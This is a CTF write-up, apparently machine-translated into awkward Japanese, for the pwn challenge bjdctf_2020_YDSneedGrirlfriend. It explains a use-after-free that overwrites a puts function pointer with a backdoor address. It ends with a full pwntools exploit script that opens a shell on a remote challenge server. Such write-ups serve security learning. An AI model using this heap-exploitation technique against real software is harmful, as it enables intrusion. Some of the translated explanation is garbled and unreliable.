bjdctf_2020_YDSneedGrirlfriend
-
定期検査、64ビットプログラム、カナリア、nxが有効になっている
-
一般的な状況、一般的なスタッキングの質問のメニューを確認するために試してみてください
-
64ビットのidaがロードされます。最初の方法は、文字列を取得してプログラム内のバックドア関数を見つけることです。backdoor= 0x400b9c
-
add_girlfriend()
del_girlfriend()
print_girlfriend()
-
一般的なuafエクスプロイトメソッド。詳細がわからない場合は、ctfwiki
show関数がチャンク内のputsを呼び出して、チャンク内の名前を出力することを確認してください。puts関数がバックドアに対して呼び出される場所を上書きすると、ショーコールがプットしたときに転送されます。バックドアを実行して、シェルを取得します
利用プロセス
- まず、チャンクを追加するプロセスを見てください
+-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
2つのチャンクを申請し、ヒープレイアウトを確認します
- 次に、2つのチャンクを解放します。これで、高速ビンチャンクのリンクリストはchunk1-> chunk0になります。
ここで、addを呼び出して0x10チャンク2を適用し、chunk2がchunk1のアドレスを適用し、次にチャンクを適用できるようにします。名前を格納するために使用されます。chunk0のアドレスに適用します。
写真のようにマークを付けます。最初に、プット関数のアドレスはマークされたチャンク0に保存されます。次に、プットをバックドアに変更する必要があります。
add(0x10,p64(backdoor))
変更は成功し、uafが存在するため、show(0)はバックドアを呼び出すことができます。
完全な経験
from pwn import *
p=remote('node3.buuoj.cn',26099)
#p=process('./bjdctf_2020_YDSneedGrirlfriend')
elf=ELF('./bjdctf_2020_YDSneedGrirlfriend')
def add(size,name):
p.sendlineafter("Your choice :",'1')
p.sendlineafter("Her name size is :",str(size))
p.sendlineafter("Her name is :",name)
def dele(index):
p.sendlineafter("Your choice :",'2')
p.sendlineafter("Index :",str(index))
def show(index):
p.sendlineafter("Your choice :",'3')
p.sendlineafter("Index :",str(index))
backdoor=0x400b9c
add(0x20,'aaaa')
add(0x20,'bbbb')
dele(0)
dele(1)
add(0x10,p64(backdoor))
show(0)
p.interactive()